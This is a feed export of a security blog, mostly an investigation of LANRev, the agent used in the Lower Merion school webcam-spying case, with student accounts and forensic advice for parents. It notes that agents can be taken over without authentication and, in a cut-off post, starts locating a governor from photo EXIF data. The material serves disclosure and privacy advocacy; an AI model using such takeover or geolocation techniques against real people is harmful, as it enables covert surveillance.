&lt;br /&gt;When I spoke at MIT about the wealth of electronic evidence I came across regarding Chinese gymnasts, I used the phrase "compulsory transparency". I never thought I would be using the phrase to describe America, especially so soon, but that appears to be exactly the case. On a familiar note, the &lt;a href="http://www.inyork.com/state/ci_14439334"&gt;authorities are denying everything&lt;/a&gt;. As one reads comments on this story, a consistent story begins to emerge:
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.saveardmorecoalition.org/node/4216"&gt;&lt;i&gt;"My name is Manuel Tebas. I was a student at Harriton High School, in the graduating class of 2009. We were the first year on the one-to-one laptop initiative. [...] I saw your post about removing webcam capability from the Macbook. It is possible - I did it last year. I will preface this by saying that when I did it, I was almost expelled, saved only by the fact that there was, at the time, no rule against doing so."&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;"I remember that the laptop was a requirement in school for many classes. That may remain so."&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;" had brought in my own personal computer to work on a project for school one day. I was doing a presentation involving programs not available on the regular computers, only in specific labs. I happened to have a copy of my own. My personal property was confiscated from me in a study hall when I was working on a school assignment because it was against the schools 'code of conduct'."&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;"Hi, I'm a 2009 Graduate of Harriton Highschool. [...] I and a few of my fellow peers were suspicious of this sort of activity when we first received the laptops. The light next to the web cam would randomly come on, whether we were in class, in study hall or at home minding our own business. We reported it multiple times, each time getting the response: "It's only a malfunction. if you'd like we'll look into it and give you a loaner computer."&lt;/i&gt;
&lt;br /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.saveardmorecoalition.org/node/4205"&gt;&lt;i&gt;"The webcam couldn't be disabled due through tough tough security settings. Occasionally we would notice that the green light was on from time to time but we just figured that it was glitching out as some macbooks do sometimes. Some few covered it up with tape and post its because they thought the IT guys were watching them. I always thought they were crazy and that the district, one of the more respectable ones within the state, would never pull some shit like this. I guess I was wrong."&lt;/i&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.mainlinemedianews.com/articles/2010/02/18/main_line_times/news/doc4b7d7d9ce9a28395335138.txt"&gt;&lt;i&gt; "I am the father of a 17 y/o Harrington High student. She has had one of these laptops for 2 years. She has noticed the "green light" coming on but was not computer literate enough to know what initiated it"&lt;/i&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;p&gt;Browse as many web forums as you like, the comments above are highly representative. Students were told green webcam activation lights going off at home were a glitch, were required to use a jailed computer, were threatened with expulsion if they attempted to jailbreak the computer to find the truth, and were not allowed to use computers they controlled.&lt;/p&gt;&lt;h3&gt;Inside LANRev&lt;/h3&gt;&lt;p&gt;With some of my colleagues, I began a reverse engineering effort against LANRev in order to determine the nature of the threat and possible countermeasures. Some of the things we found at first left us aghast as security pros: the spyware "client" (they call it an agent) binds to the server permanently without using authentication or key distribution. Find an unbound agent on your network with Bonjour, click on it, you own it. The server software, with an externally facing Internet port... runs as root. I'm not kidding. For those unfamiliar with the principle of least privilege- this is an indicator of a highly unskilled design. Unfortunately, when  we got down to basic forensics, LANRev appears to cover its tracks well. Here's a screenshot of the server application monitoring a tracked host:&lt;/p&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bkUaeM7papk/S4IKd-7IWDI/AAAAAAAAADw/hqRfo-a3yxA/s1600-h/Screen+shot+2010-02-21+at+10.56.34+PM.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 480px; height: 349px;" src="http://4.bp.blogspot.com/_bkUaeM7papk/S4IKd-7IWDI/AAAAAAAAADw/hqRfo-a3yxA/s400/Screen+shot+2010-02-21+at+10.56.34+PM.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5440922810040473650" /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;i&gt;Tracking intervals available at the top; screenshots and webcam shots in the lower right pane. No webcam shot is visible here as a webcam was not connected during testing&lt;/i&gt;
&lt;br /&gt;&lt;p&gt;In order to spy on my computer, I had to mark it for spying. The icon for spying is a detective hat and a magnifying glass; very Sherlock  Holmes&lt;/p&gt;
&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/S4ILecqVh5I/AAAAAAAAAD4/f_l4G3oc-vI/s1600-h/Screen+shot+2010-02-21+at+9.28.36+PM.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 480px; height: 162px;" src="http://3.bp.blogspot.com/_bkUaeM7papk/S4ILecqVh5I/AAAAAAAAAD4/f_l4G3oc-vI/s400/Screen+shot+2010-02-21+at+9.28.36+PM.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5440923917534726034" /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;p&gt;Once I had the agent installed, I used dtrace to monitor its activity as it hung around and spied on my system. The log below is an edited trace of the agents activity during a spy interval. It uses a fixed dump point, /tmp/Image, as its save file before uploading to the server, sadly this is wiped. Only a full forensics scan which picks up deleted files will have a chance of picking up the history of the spying on a particular computer. On laptops with a webcam, a second fixed save point, /tmp/Image1, is used to save the webcam pic.&lt;/p&gt;
&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bkUaeM7papk/S4IMWchoBNI/AAAAAAAAAEA/GbMZbGm-9hI/s1600-h/DtraceCap+2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 480px; height: 187px;" src="http://2.bp.blogspot.com/_bkUaeM7papk/S4IMWchoBNI/AAAAAAAAAEA/GbMZbGm-9hI/s400/DtraceCap+2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5440924879570863314" /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;p&gt;For the technically inclined, I've highlighted some of the key points, use of the system screengrabber, the use of RawCamera, the fixed save point, etc. We're still working on our technical writeup of this software and hope to update soon.
&lt;br /&gt;
&lt;br /&gt;During our testing, we infected a laptop with LANRev, then closed the lid, hoping to activate the LANRev feature which takes a webcam picture when the computer wakes. As my colleague Aaron opened the lid of his Mac, the green webcam light flickered, ever so briefly. It wasn't a glitch. It was a highly sophisticated remote spy in  his system. And even though he was in control, the effect was still very creepy.&lt;/p&gt;
&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/S4IaEnUgYaI/AAAAAAAAAEI/YOj5A16JZAw/s1600-h/00_admin_watching_you.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 480px; height: 277px;" src="http://3.bp.blogspot.com/_bkUaeM7papk/S4IaEnUgYaI/AAAAAAAAAEI/YOj5A16JZAw/s400/00_admin_watching_you.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5440939966393770402" /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;center&gt;&lt;i&gt;Here's one last capture from the Windows version of the administration console, showing a forced remote webcam snapshot. We've pixellated this, but rest assured the real thing looks very detailed&lt;/i&gt;&lt;/center&gt;
&lt;br /&gt;&lt;p&gt;In other news on the case, &lt;a href="http://www.philly.com/philly/education/20100220_Subpoena_issued_in_L__Merion_webcam_case.html"&gt;subpoenas have been issued&lt;/a&gt;, the FBI is on the case, the &lt;a href="http://liveshots.blogs.foxnews.com/2010/02/22/school-spying-case-in-pennsylvania/"&gt;candy in question&lt;/a&gt; has been caught red-fingered, and some enterprising chap is ready to &lt;a href="http://www.zazzle.com/lower_merion_school_district_scandal_parody_tshirt-235568003500926676"&gt;cash in with a t-shirt&lt;/a&gt;. &lt;a href="http://www.saveardmorecoalition.org/blog/2"&gt;Doug Muth's hands on screenshots&lt;/a&gt; provide the best first hand encounter with the client end of the spyware in question&lt;/a&gt;. What amazes me most is that the family and lawyer filing the suit appear to have done no digital forensics going in, and no enterprising student hacker ever jailbroke a laptop and proved this was going on. The greatest threat to this investigation now is the possibility that the highly trained technical staff at LMSD could issue a LANRev script to wipe digital forensic evidence off all the laptops. This is why it is imperative for affected parents to have the hard drive removed from their children's laptops and digitally imaged before the laptop is connected to a network. With enough persistence, and enough luck, we may eventually learn the truth.&lt;/p&gt;
&lt;br /&gt; -stryde.hax
&lt;br /&gt;&lt;hr&gt;
&lt;br /&gt;&lt;b&gt;update 3/31/2010 8:00pm&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://strydehax.blogspot.com/2010/03/schools-systems-weigh-benefits-of-child.html"&gt;Harriton is just the tip of the iceberg!&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;update 2/25/2010 11:00pm&lt;/b&gt;
&lt;br /&gt;&lt;p&gt;I have a question about this case I haven't seen answered to my satisfaction anywhere. I believe it is possible, even likely, that the webcams were only activated on stolen laptops. A persistent contingent of commenters have no problem and see no 4th amendment issue with a state agency, such as a school, activating a webcam remotely to locate a laptop thief. Even if that thief is a child. Even if the thief is a child at home in their bedroom. Even if that thief is changing clothes? &lt;a href="http://www.reddit.com/r/technology/comments/b3xfs/update_frequently_the_green_lights_next_to_our/c0ku4tb"&gt;Read the argument made here&lt;/a&gt;. Comments? Thoughts? Expert feedback?&lt;/p&gt;
&lt;br /&gt;&lt;b&gt;update 2/23/2010 6:00pm&lt;/b&gt;
&lt;br /&gt;&lt;p&gt;If you haven't already, you must watch this &lt;a href="http://www.pbs.org/wgbh/pages/frontline/digitalnation/learning/schools/how-google-saved-a-school.html"&gt;PBS Documentary - How Google Saved a School&lt;/a&gt;. At five minutes in, you can see all these same features in use, in a school setting, by a principal. Remote surreptitious observation. Remote camera use. All used by a principal to observe kids and make sure they're working. There are a lot of school districts, administrators, IT professionals, and security professionals who see nothing wrong with this documentary. They see remote administration software in use in this way and they don't think it's wrong, and they don't think it's spyware. Some of them even believe that the extension of this functionality into the home doesn't make it spyware, or even wrong. But this is my personal blog, and it's my personal opinion that they're wrong. As an expecting parent, I don't ever want my kids on the business end of Remote Desktop Curtain Mode, even at school. I'm a security professional, and a big part of my education and my professional development was tinkering and tearing apart computer systems to gain understanding, learn how they work, and change their use. I believe that computer security is knowledge in practice; it's using your knowledge to protect yourself. These kids are learning that security is something that happens to you. That's backwards. &lt;a href="http://www.wired.com/dangerroom/2010/01/darpa-us-geek-shortage-is-a-national-security-risk/"&gt;DARPA thinks we're not raising a generation with applicable security skills&lt;/a&gt;. I think they're right; I think this is a recipe for the next generation of phishing victims. I'd like to see a school system where a kid can bring in x64 Ubuntu or Haiku OS that he secured him/herself. I'd like to see a school system where kids teach each other how to defend against remote webcam use. Instead, we've got kids who can't run Terminal. Not my kids.&lt;/p&gt;
&lt;br /&gt;&lt;b&gt;update 2/23/2010 4:12pm&lt;/b&gt;
&lt;br /&gt;&lt;p&gt;A note for anyone wishing to contact me privately: if you'd like me to write back, please leave a return email. My email is still stryde dot blog at gmail dot com.
&lt;br /&gt;&lt;b&gt;It's Not Spyware!!!&lt;/b&gt;
&lt;br /&gt;I've received a lot of positive feedback about this entry; however, if there's one consistent complaint amongst my detractors, it's my classification of LANRev as spyware. So here is my response. Confusing remote admin software with spyware has a long history stretching back to  Cult of the Dead Cow's first Bo2k release. I'm not as funny as them so I don't even try. It's true however that remote administration tools and spyware exist on the same spectrum, just ask the guys at &lt;a href="http://www.spector.com/spectresoft.html"&gt;Spectresoft&lt;/a&gt;. Spyware authors and remote admin authors often have to solve the same problems, like bypassing OS protections and getting around antivirus. It's a transition that's easily made. So where's the dividing line? The line is basically in how its used. Remote admin usually solves constructive tasks, like remote patch management, inventory location tracking, remote software installation. And sometimes it means screensharing in order to solve problems. I personally have sat at home as a network tech worked on my corporate laptop over a VPN. No problem. My personal opinion is this: when you see a piece of software with dedicated functionality for taking webcam screenshots surreptitiously and removing the evidence on disk, to me that's crossed the line into spyware. I'm certain that others in the industry will disagree with me. That's fine; let's have the debate. I don't mind losing a technical argument, as long as it's on merit.&lt;/p&gt;
&lt;br /&gt;&lt;b&gt;update 2/23/2010 11:28am&lt;/b&gt;
&lt;br /&gt;&lt;p&gt;My colleague Aaron pointed out to me today that the reason LANRev is using the raw camera device is that &lt;a href="http://macosx.com/forums/howto-faqs/297484-howto-isightcapture-command-line-security-workaround.html"&gt;Apple implemented security measures to prevent remote activation of the webcam&lt;/a&gt; in OSX. LANRev was designed to bypass this security measure. Those who disagree with my spyware assessment, ask yourself, "what kind of software bypasses OS security measures?" 
&lt;br /&gt;On the topic of whether or not we yet have proof of illegal use, I would ask you to listen carefully to the webcast, and listen for the word "house" at 1:28. Listen for "yes we have used it."&lt;/p&gt;&lt;b&gt;update 2/23/2010 10:00am&lt;/b&gt;
&lt;br /&gt;&lt;p&gt;I've removed Mr. Perbix's picture from my blog. I try very hard to stick to verifiable facts when I write here; this blog post is made up references to primary documents that show a verifiable pattern of action. But I feel that some readers are getting carried away. Myself and Aaron Rhodes spent hours reading forum posts, messages, and communications from Mike Perbix, his "digital shadow". The impression we both got was of a man who was charged with enormous responsibility, worked very hard, was very adept, and was fanatical about protecting kids and the assets he was charged with managing. I don't have all the facts yet, but the impression I got was of someone who was trying to build a state of the art capability and revelled in the promise of technology. If I had to put my finger on what when wrong here, I would say that someone cared too much. Personally I'm much more interested in who this capability was distributed &lt;i&gt;to&lt;/i&gt;, and its persistent pattern of access, than I am in the person who built it. If you're reading this, please, let us not participate in a rush to judgement especially against a guy who worked this hard. Yes, he built the capability. Yes it was used. But if it was abused or simply misguided, that remains to be proven. I for one reserve judgement. For now, what bothers me most is this: When an organ of the State (in this case, a school) builds a system to conduct a search by activating webcams off of school grounds, the only way to determine if the ensuing search will be unreasonable or illegal is to &lt;i&gt;conduct the search&lt;/i&gt;. The thought process behind that is unfathomable to me, no matter how much I read about it.&lt;/p&gt;
&lt;br /&gt;&lt;b&gt;update 2/22/2010 8:30pm&lt;/b&gt;
&lt;br /&gt;&lt;p&gt;I've created a network footprinting capability for parents, students, anyone who may be concerned that they are infected with the LANRev agent. The capability is documented &lt;a href="http://strydehax.blogspot.com/2010/02/network-fingerprint-for-lanrev-trojan.html"&gt;in my next blog entry&lt;/a&gt;. One piece of feedback I continue to get is speculation on what can be seen in a packet sniffer. The answer for now is: not much. A block cipher and compression are in use in serial. It's a tough problem; we're working on it.&lt;/p&gt;
&lt;br /&gt;&lt;b&gt;update 2/22/2010 5:30pm&lt;/b&gt;
&lt;br /&gt;&lt;p&gt;In a strange twist, the makers of LANRev have come out with a statement saying that school network techs should never have used their software to engage in theft recovery:&lt;/p&gt;&lt;a href="http://www.computerworld.com/s/article/9160278/Software_maker_blasts_vigilantism_in_Pa._school_spying_case?taxonomyId=12"&gt;&lt;i&gt;"We discourage any customer from taking theft recovery into their own hands," said Stephen Midgley, the company's head of marketing, in an interview Monday. "That's best left in the hands of professionals."&lt;/i&gt;&lt;/a&gt;
&lt;br /&gt;&lt;p&gt;I've watched the 50 minute screencast repeatedly, where Perbix describes his use of this feature outside of school grounds &lt;i&gt;repeatedly&lt;/i&gt; during a conversation with Absolute Software employees. They were enthusiastic... now they're throwing LMSD under the bus? I believe this can best be described as intense PR spin. It also completely confirms what I've asserted here, that LANRev was the implant of choice for this school.&lt;/p&gt;
&lt;br /&gt;&lt;hr&gt;
&lt;br /&gt;&lt;i&gt;This investigation was conducted by myself and Intrepidus consultant Aaron Rhodes; Aaron deserves credit for a lot of these findings&lt;/i&gt;. &lt;a href="http://www.youtube.com/watch?v=7YvAYIJSSZY"&gt;-*-&lt;/a&gt;
&lt;br /&gt;&lt;script type="text/javascript"&gt;
&lt;br /&gt;var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
&lt;br /&gt;document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
&lt;br /&gt;&lt;/script&gt;
&lt;br /&gt;&lt;script type="text/javascript"&gt;
&lt;br /&gt;try {
&lt;br /&gt;var pageTracker = _gat._getTracker("UA-13158498-1");
&lt;br /&gt;pageTracker._trackPageview();
&lt;br /&gt;} catch(err) {}&lt;/script&gt;
&lt;br /&gt;&lt;script type='text/javascript'&gt;
&lt;br /&gt;digg_url = '&lt;data:post.url/&gt;';
&lt;br /&gt;&lt;/script&gt;
&lt;br /&gt;&lt;script src='http://digg.com/tools/diggthis.js' type='text/javascript'/&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-3314798926411297694?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZkomwmQwuxfJPGrbazr5Sqah6is/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZkomwmQwuxfJPGrbazr5Sqah6is/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZkomwmQwuxfJPGrbazr5Sqah6is/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZkomwmQwuxfJPGrbazr5Sqah6is/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/2Yg7iEvqSjQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/3314798926411297694/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=3314798926411297694" title="141 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/3314798926411297694?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/3314798926411297694?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/2Yg7iEvqSjQ/spy-at-harrington-high.html" title="The Spy at Harriton High" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_bkUaeM7papk/S4HmPjcYy8I/AAAAAAAAADY/GT42wWsrEtk/s72-c/Screen+shot+2010-02-21+at+9.03.44+PM.png" height="72" width="72" /><thr:total>141</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/02/spy-at-harrington-high.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8FQXc6eSp7ImA9WxBVFUg.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-6434215248933612314</id><published>2010-02-18T17:38:00.001-08:00</published><updated>2010-02-18T19:40:10.911-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-18T19:40:10.911-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="spyware highschool apple" /><title>The Technology Behind School Spying</title><content type="html">&lt;h3&gt;Ghost in the Classroom Machine&lt;/h3&gt;
&lt;br /&gt;There's been a &lt;a href="http://news.google.com/news/search?q=lower+merion+spying"&gt;flood of news coverage&lt;/a&gt; regarding &lt;a href="http://www.whyy.org/news/lawsuit20100218.pdf"&gt;this lawsuit&lt;/a&gt; against Harriton High School in Lower Merion, PA. The charge, in short, is that school-issued laptops have been employed by school administrators to surreptitiously webcam-monitor children in their own homes via the use of remote control software, violating nearly every wiretapping statute on the books as well as potentially generating child pornography. While the school has already &lt;a href="http://www.lmsd.org/sections/news/default.php?m=0&amp;t=today&amp;p=lmsd_anno&amp;id=1137"&gt;issued a formal apology&lt;/a&gt; regarding the use of remote monitoring technology, this blog post is an attempt to ascertain what technical methods were used to remotely monitor students in their home.
&lt;br /&gt;
&lt;br /&gt;&lt;h3&gt;Think Spyware&lt;/h3&gt;
&lt;br /&gt;&lt;p&gt;The first step to identifying the particular spyware in use is to identify the platform. &lt;a href="http://www.lmsd.org/documents/schools/lmhs/1to1_presentation.pdf"&gt;This school document&lt;/a&gt; identifies the hardware and software in use as Macbooks running OSX. What's the go-to spy product of choice for school administrators on the OSX platform? Apple Remote Desktop 3:&lt;/p&gt;
&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bkUaeM7papk/S33yBCbq9kI/AAAAAAAAADI/jkjrCtaNDVU/s1600-h/ARD3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 385px; height: 400px;" src="http://2.bp.blogspot.com/_bkUaeM7papk/S33yBCbq9kI/AAAAAAAAADI/jkjrCtaNDVU/s400/ARD3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5439770024580150850" /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;center&gt;&lt;i&gt;Possibly the most unfortunate product logo of all time&lt;/i&gt;&lt;/center&gt;
&lt;br /&gt;&lt;p&gt;What proof exists that this product can be used for remote monitoring of students? Remote observation and control of target computers is plainly listed in the &lt;a href="http://www.apple.com/remotedesktop/upgrade.html"&gt;Apple Remote Desktop 3 Feature List&lt;/a&gt;. But the best evidence is this PBS documentary (about a &lt;i&gt;different&lt;/i&gt; school), in which a high school assistant principal is shown listing, monitoring, and remotely taking pictures of high school students using Apple Remote Desktop 3:&lt;/p&gt;
&lt;br /&gt;&lt;a href="http://www.pbs.org/wgbh/pages/frontline/digitalnation/learning/schools/how-google-saved-a-school.html"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 157px;" src="http://4.bp.blogspot.com/_bkUaeM7papk/S33yyLysBCI/AAAAAAAAADQ/XV2lAGvbH-0/s400/AppleRemoteDesktop.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5439770868906198050"&gt;&lt;/a&gt;
&lt;br /&gt;&lt;center&gt;&lt;i&gt;Current Status, Current Application, Current User: Apple Remote Desktop&lt;/i&gt;&lt;/center&gt;
&lt;br /&gt;&lt;p&gt;Five minutes, twelve seconds into the video:
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;"They don't even realize that we are watching. I always like to mess with them and take their picture."
&lt;br /&gt;-Assistant Principal Dan Ackerman&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;p&gt;This story is only a day old, and if the published numbers are correct, nearly 1800 children and their families may have been exposed. I don't have information yet on what forensic traces this spying may have left on the computers, however, I can recommend best practices for any parent who believes their school system may be using issued hardware to spy on their children (in Lower Merion or elsewhere):
&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;Understand that most laptops have a microphone and a video camera embedded, and that remote activation of microphones can be utterly silent.&lt;/LI&gt;
&lt;br /&gt;&lt;LI&gt;If the issue becomes public, as is the case above, connecting the laptop to a school administered network or VPN may allow administrators to remove forensic traces of spying. Do not network the computer until evidence collection is complete.&lt;/LI&gt;
&lt;br /&gt;&lt;LI&gt;Seek out a computer security professional or your helpful neighborhood hacker to perform a &lt;a href="http://dcfldd.sourceforge.net/"&gt;full forensic hard drive capture&lt;/a&gt; of the potential spy platform.&lt;/a&gt;&lt;/LI&gt;
&lt;br /&gt;&lt;LI&gt;Consult a lawyer before confronting school officials. Capturing live network forensic evidence of remote spying can be far more powerful than word-of-mouth allegations.&lt;/LI&gt;
&lt;br /&gt;&lt;/UL&gt;This story is generating a lot of questions in the press, questions about how cameras should be deployed by schools in children's homes, and what guidelines should be set for their use. Personally, I believe these are the wrong questions. I believe the right question is: should students be subject to remote surreptitious monitoring by their school systems at all? Do we want our kids to grow up always wondering who's watching? 
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;hr&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;Big Brother: Remain EXACTLY where you are! Make NO move until you are ordered!
&lt;br /&gt;[painting falls from wall, revealing a telescreen]
&lt;br /&gt;Julia: Now they can see us...
&lt;br /&gt;Big Brother: NOW WE CAN SEE YOU! &lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-6434215248933612314?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Ut95wvvRg3zJhazF-ImFve4o7RQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ut95wvvRg3zJhazF-ImFve4o7RQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Ut95wvvRg3zJhazF-ImFve4o7RQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ut95wvvRg3zJhazF-ImFve4o7RQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/6NKZVLq6otQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/6434215248933612314/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=6434215248933612314" title="11 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/6434215248933612314?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/6434215248933612314?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/6NKZVLq6otQ/technology-behind-school-spying.html" title="The Technology Behind School Spying" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_bkUaeM7papk/S33yBCbq9kI/AAAAAAAAADI/jkjrCtaNDVU/s72-c/ARD3.jpg" height="72" width="72" /><thr:total>11</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/02/technology-behind-school-spying.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE8NRXs5eip7ImA9WxNWFE4.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-9027063790075588042</id><published>2009-10-12T20:40:00.000-07:00</published><updated>2009-10-13T05:28:14.522-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-13T05:28:14.522-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="gps exif governator" /><title>Where's Arnold?</title><content type="html">&lt;i&gt;Agent: This is Special Agent John Kruger. He'll be handling your personal security.&lt;br /&gt;Lee: My protection?&lt;br /&gt;John: New identity, relocation, I'll take you through it step by step.&lt;/i&gt;&lt;br /&gt;-Arnold Schwarzenegger as Agent John Kruger, &lt;i&gt;Eraser&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Hiding your identity works great in the movies, but it's pretty much impossible for a public figure like Arnold. That said, there are some common sense privacy boundaries that heads of state need to observe, for instance: you probably don't want to be broadcasting your position in real time. For good or for worse, however, that's exactly what the Governator is up to these days.&lt;br /&gt;&lt;br /&gt;Take a look at this recent Twitter post from Arnold Schwarzenegger's account, http://twitter.com/schwarzenegger:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bkUaeM7papk/StP4-gbya9I/AAAAAAAAACQ/6vc3wggZw0c/s1600-h/gm0.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 137px;" src="http://2.bp.blogspot.com/_bkUaeM7papk/StP4-gbya9I/AAAAAAAAACQ/6vc3wggZw0c/s400/gm0.png" alt="" id="BLOGGER_PHOTO_ID_5391926931634678738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Where is this happy oatmeal scene occurring? According to the photo, it was taken within the California capitol in Sacramento:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bkUaeM7papk/StP5hgjkTRI/AAAAAAAAACY/ypS2pldxXJs/s1600-h/gmpoint5.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 292px;" src="http://4.bp.blogspot.com/_bkUaeM7papk/StP5hgjkTRI/AAAAAAAAACY/ypS2pldxXJs/s400/gmpoint5.png" alt="" id="BLOGGER_PHOTO_ID_5391927532962729234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;How is this happening? The answer requires you to think differently - less Sacramento and more Cupertino. Let's take a look at the &lt;a href="http://en.wikipedia.org/wiki/Exchangeable_image_file_format"&gt;EXIF&lt;/a&gt; data embedded in some of the governor's Twitter pictures, and see if we can find some interesting data:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bkUaeM7papk/StP60WNKwEI/AAAAAAAAACg/pHmoz1YdL4M/s1600-h/gm1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 210px;" 